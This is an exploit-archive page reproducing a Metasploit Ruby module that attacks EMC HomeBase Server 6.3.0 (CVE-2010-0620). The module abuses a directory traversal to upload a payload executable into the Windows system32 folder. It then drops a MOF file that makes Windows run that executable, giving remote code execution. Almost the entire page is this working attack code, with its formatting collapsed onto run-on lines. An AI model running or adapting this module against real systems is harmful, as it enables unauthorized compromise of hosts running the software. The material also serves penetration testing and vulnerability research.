[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : EMC HomeBase Server Directory Traversal Remote Code Execution
# Published : 2011-04-27
# Author : metasploit
# Previous Title : Spreecommerce < 0.50.0 Arbitrary Command Execution
# Next Title : ICONICS WebHMI ActiveX Stack Overflow


			
### $Id: emc_homebase_exec.rb 12458 2011-04-27 20:29:27Z mc $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = GreatRanking	include Msf::Exploit::Remote::Tcp	include Msf::Exploit::EXE	include Msf::Exploit::WbemExec	def initialize(info = {})		super(update_info(info,			'Name'           => 'EMC HomeBase Server Directory Traversal Remote Code Execution',			'Description'    => %q{					This module exploits a directory traversal and remote code execution				flaw in EMC HomeBase Server 6.3.0.				Note: This module has only been tested against Windows XP SP3 and Windows 2003 SP2 			},			'Author'         => [ 'MC' ],			'License'        => MSF_LICENSE,			'Version'        => '$Revision: 12458 $',			'References'     =>				[					[ 'CVE', '2010-0620' ],					[ 'BID', '38380' ],					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-020/' ],				],			'Privileged'     => true,			'DefaultOptions' =>				{					'EXITFUNC' => 'process',					'InitialAutoRunScript' => 'migrate -f',				},			'Payload'        =>				{					'Space'    => 2048,					'DisableNops' => true,					'StackAdjustment' => -3500,				},			'Platform'       => 'win',			'Targets'        =>				[					[ 'Automatic',  { } ],				],			'DefaultTarget' => 0,			'DisclosureDate' => 'Feb 23 2010'))		register_options(			[				Opt::RPORT(18821),				OptBool.new('SSL', [true, 'Use SSL', true]),			], self.class)	end	def exploit		name = exe_name()		exe_upload(name)		select(nil,nil,nil,2)		mof_upload(name)		select(nil,nil,nil,4)		handler	end	def exe_name		rand_text_alpha_upper(8) + ".exe"	end	def exe_upload(exe_name)		# this uploads our final exe payload.		data = generate_payload_exe		exe_dir = "/..////..////..////..////..////..////..////..////WINDOWS////system32////"			connect		banner = sock.get			if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )				print_good("EMC HomeBase HomebaseSSL Service Detected!")				print_status("Sending exe payload '#{exe_name}'...")				sock.put("DATA #{exe_dir}#{exe_name} #{data.length}/r/n")				ready = sock.get					if ( ready =~ /150 Ready to Recieve Data/ )						print_good("#{ready.strip}")						print_status("Sending '#{data.length}' bytes of data...")						sock.put(data)						complete = sock.get						if ( complete =~ /226 Data Complete/ )							print_good("#{complete.strip}")							print_status("Sending 'QUIT")							sock.put("quit/r/n")							return						end					else						print_error("Something went wrong...")						return					end			else 				print_error("Not a EMC HomeBaseSSL Service")				return			end				disconnect	end	def mof_upload(exe_name)		# this is what runs our uploaded exe payload.		mof_name = rand_text_alphanumeric(8+rand(8))		mof      = generate_mof(mof_name, exe_name)		mof_dir  = "/..////..////..////..////..////..////..////..////WINDOWS////system32////wbem////mof////"		connect		banner = sock.get			if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )				print_good("EMC HomeBase HomebaseSSL Service Detected!")				print_status("Sending MOF file '#{mof_name}'...")				sock.put("DATA #{mof_dir}#{mof_name} #{mof.length}/r/n")				ready = sock.get					if ( ready =~ /150 Ready to Recieve Data/ )						print_good("#{ready.strip}")						print_status("Sending '#{mof.length}' bytes of data...")						sock.put(mof)						complete = sock.get							if ( complete =~ /226 Data Complete/ )								print_good("#{complete.strip}")								print_status("Sending 'QUIT")								sock.put("quit/r/n")								return							end					else						print_error("Something went wrong...")						return					end			else				print_error("Not a EMC HomeBaseSSL Service")				return                        end		disconnect	endend